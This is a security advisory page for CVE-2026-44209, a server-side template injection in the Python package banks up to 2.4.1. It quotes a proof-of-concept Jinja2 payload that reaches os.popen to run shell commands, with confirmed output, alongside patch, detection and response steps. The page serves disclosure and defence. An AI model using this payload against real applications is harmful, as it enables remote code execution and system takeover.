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CVE-2026-44209 high CVSS 7.5

Vulnerability in banks (CVE-2026-44209)

Summary

Vulnerability in banks (CVE-2026-44209). Successful exploitation can lead to full system takeover. Exploitable via banks. Mitigation: upgrade to 2.4.2 or later.

Original description

The description as published by the source.

Summary

banks <= 2.4.1 uses jinja2.Environment() (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to Prompt() are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.

This is a vulnerability in how banks initializes its Jinja2 environment — not in Jinja2 itself.

Vulnerable Code

src/banks/env.py — the global Jinja2 environment is created without sandboxing:

env = Environment(
    autoescape=select_autoescape(enabled_extensions=("html", "xml"), default_for_string=False),
    ...
)

Attack Scenario

An application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to Prompt() is vulnerable. For example:

# User-controlled input reaches Prompt()
user_input = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(user_input)
p.text()  # Executes arbitrary command on the host

Proof of Concept

Setup:

pip install banks==2.4.1

PoC script:

from banks import Prompt

payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(payload)
result = p.text()
print(f"[+] Output: {result}")

Confirmed output:

[+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...

text

**File-write proof:**
```p…

Source: GitHub Security Advisories (Global) NVD GitHub Advisory

Auto-generated summary

Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.

A vulnerability tracked as CVE-2026-44209 has been found in banks.
Attackers can target a specific entry point like banks over the network to misuse the product.
Successful exploitation can lead to full system takeover. CVSS score: 7.5/10.
What to do: upgrade banks to 2.4.2 or later.
If unsure, ask your IT team or search "banks CVE-2026-44209" on the vendor's site.

CVE-2026-44209 (banks) — CWE-1336 / CVSS v3 7.5
Attack vector: remote (network-reachable) / unauthenticated
Attack surface: banks / jinja2.sandbox.SandboxedEnvironment
Patched: 2.4.2 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.

❓ What is the problem

A vulnerability (CWE-1336) exists in banks. Attackers reach the vulnerable code path via banks without authentication.

📍 Affected scope

Check the vendor advisory for the affected versions of banks. Attack surface: banks / jinja2.sandbox.SandboxedEnvironment.

🔥 Severity

Severity: High (CVSS 7.5/10). Successful exploitation can lead to full system takeover.

🔧 How to fix

Update to 2.4.2.

🛡️ Workaround

Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.

🔍 Detection

Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'banks' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.

Response actions

Concrete steps and command examples for SOC/SRE teams to execute in order

  1. 1
    Identify exposure identify 
    grep -r 'banks' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で banks を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    Apply patch patch 
    Upgrade banks to 2.4.2

    ステージング環境で 2.4.2 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。

  3. 3
    Post-deployment verification verify 
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。

Affected packages

pip banks
[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.4.2"}]}]
PyPI banks
[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.4.2"}]}]

References

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